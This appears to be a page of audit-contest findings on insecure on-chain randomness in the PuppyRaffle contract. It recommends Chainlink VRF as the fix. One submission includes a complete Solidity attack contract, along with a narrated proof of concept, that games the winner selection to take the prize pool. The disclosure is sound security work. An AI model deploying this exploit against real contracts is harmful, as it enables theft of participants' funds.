Normally, a raffle's winning ticket must be drawn from randomness that no participant can predict or influence. However, the current implementation computes both the winner and the rarity from fully on-chain, caller-influenced entropy.
The vulnerability exists in PuppyRaffle.sol#L128-L146.
Root Cause: Insecure randomness — predictable, user-influenceable entropy source.
Vulnerable Code:
Why This Is Exploitable:
All three inputs are known before the transaction is executed: msg.sender is the caller (an attacker can grind many sybil addresses), block.timestamp is coarse and can be targeted by waiting, and block.difficulty (post-Merge: PREVRANDAO) is public and additionally biasable by the block proposer. The attacker evaluates the exact same hash off-chain for candidate (caller, timestamp) pairs and submits selectWinner only when the result maps to their own slot. With 4 players, each candidate timestamp has a 1/4 chance of winning — a favorable one appears within seconds. The same grinding applied to the rarity hash mints only legendary puppies.
Likelihood:
Any entered player can do this every round; the off-chain search costs seconds (a favorable timestamp was found 13 seconds into the search window in the PoC).
No capital, role, or MEV infrastructure is required — only patience, or sybil caller addresses for instant grinding.
Impact:
Guaranteed theft of the 80% prize pool in every round the attacker enters (repeatable, bounded per round).
Manipulation of the NFT rarity supply (legendary puppies on demand), breaking the raffle's fairness guarantee.
Run: forge test --match-test testPoC_PredictableWinnerSelection -vv
Output (actual run):
Alice, Bob, the attacker, and Dave enter the raffle (4 ETH pot). The raffle duration elapses.
The attacker precomputes uint256(keccak256(abi.encodePacked(attacker, ts, block.difficulty))) % 4 for upcoming timestamps, finds one whose index maps to their own slot, warps time to it (on mainnet: simply waits), and calls selectWinner from their address.
previousWinner is the attacker and they receive exactly the precomputed 3.2 ETH prize.
Replace the on-chain hash entropy with a verifiable randomness source such as Chainlink VRF: request a random word when the raffle ends, and settle the winner and the rarity in the VRF fulfillment callback. This binds the outcome to entropy nobody — including validators — can predict or bias.
Proposed Fix:
References:
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.